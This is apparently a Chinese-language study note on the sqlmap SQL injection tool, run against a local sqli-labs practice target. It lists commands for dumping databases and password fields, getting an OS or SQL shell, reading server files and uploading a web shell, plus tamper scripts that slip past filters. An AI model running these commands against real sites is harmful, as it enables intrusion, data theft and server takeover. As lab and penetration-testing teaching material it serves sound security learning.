SQLmap介绍及使用(笔记)

什么是SQLmap?

SQLMap是一款由Python开发的自动化SQL注入工具,其主要功能是扫描、发现并利用SQL注入漏洞,它内置了很多绕过插件,并且支持多种数据库,如MySQL、Oracle、PostgreSQL、SQL Server、Access、IBM DB2、SQLite等数据库。

SQLMAP的强大之处在于对数据库指纹的识别、数据库枚举、数据提取、访问目标文件系统、并在获取完全的操作权限时执行任意命令,它支持以下几种独特的注入:
基于布尔类型的注入,即可根据返回页面判断条件真假的注入。
基于时间的盲注,即不能根据页面返回判断的时候,利用时间线是否延时来判断条件的真假。
基于报错的注入,即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中,比如数据库报错的信息等。
联合查询注入,即可以使用Union的情况下注入。
堆叠查询注入,即可以同时执行多条语句时的注入。

SQLmap常规操作

—GET形式—
–batch 使用所有默认配置,从不询问用户输入

python2 sqlmap.py -u "http://127.0.0.1/sqlilabs/Less-1/index.php?id=1"  
python2 sqlmap.py -u "http://127.0.0.1/sqlilabs/Less-1/index.php?id=1"  --current-user  //检测当前用户
python2 sqlmap.py -u "http://127.0.0.1/sqlilabs/Less-1/index.php?id=1" --password     //查询数据库用户密码
python2 sqlmap.py -u "http://127.0.0.1/sqlilabs/Less-1/index.php?id=1"  --dbs  //检测所有数据库
python2 sqlmap.py -u "http://127.0.0.1/sqlilabs/Less-1/index.php?id=1"  --current-db  //检测当前数据库
python2 sqlmap.py -u "http://127.0.0.1/sqlilabs/Less-1/index.php?id=1"  --tables -D dbname //检测dbname数据库下的所有表
python2 sqlmap.py -u "http://127.0.0.1/sqlilabs/Less-1/index.php?id=1"  --columns -T tname -D dbname //检测dbname数据库下tname表下所有字段
python2 sqlmap.py -u "http://127.0.0.1/sqlilabs/Less-1/index.php?id=1"  --dump -C "admin,passwd"  -T tname -D dbname //导出指定字段内容

—POST形式—

python2 sqlmap.py  -r request.txt  //检测request.txt中请求正文存在的注入    
python2 sqlmap.py -u URL --data "uname=123&passwd=123&submit=Submit"   //指定页面的POST字段注入
python2 sqlmap.py  -r request.txt  --level 3  //检测request.txt中UA/referer存在的注入 

—Cookie—

python2 sqlmap.py -u URL --cookie="cookie值"
python2 sqlmap.py  -r request.txt  --level 2 //检测request.txt中cookie字段进行注入

—referer–

python2 sqlmap.py -u URL --referer="referer值"     //存在问题
python2 sqlmap.py  -r request.txt //文件中需要使用*指定存在注入点的位置

—UA—

python2 sqlmap.py -r user-agent.txt -A "" --level 3

SQLmap进阶操作

python2 sqlmap.py -u "http://127.0.0.1/sqlilabs/Less-1/index.php?id=1"  --is-dba   //判断目标数据库用户是否是管理员TRUE/FALSE
python2 sqlmap.py -u "http://127.0.0.1/sqlilabs/Less-1/index.php?id=1"  --users   //查看数据库用户
python2 sqlmap.py -u "http://127.0.0.1/sqlilabs/Less-1/index.php?id=1"  --os-cmd="whoami"    //在DBA前提下,执行单条命令
python2 sqlmap.py -u "http://127.0.0.1/sqlilabs/Less-1/index.php?id=1"  --os-shell                      //在DBA前提下,获取交互式的shell
python2 sqlmap.py -u "http://127.0.0.1/sqlilabs/Less-1/index.php?id=1"  --sql-shell                     //返回SQL的交互式shell
python2 sqlmap.py -u "http://127.0.0.1/sqlilabs/Less-1/index.php?id=1" --file-read="D:\phpStudy\PHPTutorial\WWW\sqlilabs\Less-1\index2.php"   //读取下载目标站点的指定文件
python2 sqlmap.py -u "http://127.0.0.1/sqlilabs/Less-1/index.php?id=1" --file-write 本地一句话木马绝对路径 --file-dest 网站一句话木马绝对路径+名称.PHP     //上传木马到目标网站绝对路径
python2 sqlmap.py -u "http://127.0.0.1/sqlilabs/Less-1/index.php?id=1" --roles   //查看用户权限
python2 sqlmap.py -u "http://127.0.0.1/sqlilabs/Less-1/index.php?id=1" --threads 1 //设置线程数,默认为1

SQLMap查缺补漏

python2 sqlmap.py -u "http://127.0.0.1/sqlilabs/Less-1/index.php?id=1&newid=2"  --skip="newid"  //跳过参数检测
python2 sqlmap.py -u "http://127.0.0.1/sqlilabs/Less-1/index.php?id=1&newid=2"  --prefix ") --suffix #  //指定PAYLOAD的闭合和注释方式
python2 sqlmap.py -u "http://127.0.0.1/sqlilabs/Less-1/index.php?id=1&newid=2"  --banner   //查询数据库的版本信息
python2 sqlmap.py -u "http://127.0.0.1/sqlilabs/Less-1/index.php?id=1" --technique T     //缩写:BTQ

B:Boolean-based blind(布尔型注入)
E:Error-based(报错型注入)
U:Union query-based(可联合查询注入)
S:Stacked queries(可多语句查询注入)
T:Time-based blind(基于时间延迟注入)
Q:Inline queries(嵌套查询注入)
python2 sqlmap.py -u “http://127.0.0.1/sqlilabs/Less-1/index.php?id=1” --hostname //查询主机名

–level 5:探测等级
在sqlmap中,探测等级分为5个
–level 1:默认的等级,会进行基本的测试,包括GET和POST方式。
–level 2:在原有的基础上增加对cookie的检测。
–level 3:增加对User Agent/Referer的检测。
–level 4:更多的payload.
–level 5:最高等级,包含所有的payload,会尝试自动破解出cookie、xff等头部注入。(速度最慢)

进阶使用,显示调式信息
-v 显示调用信息有7个级别

0, 只显示python错误以及严重的信息
1,同时显示基本信息和警告信息。
2,同时显示debug信息
3,同时显示注入的payload
4,同时显示http请求
5,同时显示http响应头
6,同时显示http响应页面

SQL注入绕过:
常用绕过思路:
大小写绕过
双写绕过
编码绕过
内联注释绕过
其他数据库特性

SQLMAP常见的绕过脚本(部分)

apostrophemask.py		将引号替换为UTF-8,用于过滤单引号
base64encode.py		替换为base64编码
multiplespaces.py		围绕着SQL关键字添加多个空格
nonrecursivereplacement.py	双写语句替换预定义的payload
space2randomblank.py	将空格替换为其他的有效字符
unionalltounion.py		union all select替换为union select
securesphere.py		追加一些其他特殊字符串
space2hash.py.		将空格替换为#号,并添加一个随机字符串和换行符。
space2mssqlblank.py	空格替换为其他空符号
space2mssqlhash.py 	空格替换为#号,并添加一个换行符
between.py 		用NOT BETWEEN 0 AND 替换大于号,用 BETWEEN  AND替换等号
percentage.py 		ASP每个字符前添加%,如%s%e%l%e%c%t%...
charencode.py		对未url编码处理的Payload字符串进行url编码
charunicodeencode.py 	使用unicode编码
space2comment.py 		空格替换为/**/
equaltolike.py 		等号替换为like
greatest.py		用GREATEST替换大于号
modsecurityversioned.py 	空格替换为MySQL内联注释
modsecurityzeroversioned.py 	使用MySQL内联注释(/!*00000*/)注入
space2mysqldash.py	 	空格替换为--和一个换行符
chardoubleencode.py		对Payload进行两次URL编码(不处理已经编码的字符)


你可能感兴趣的:(SQLmap介绍及使用(笔记))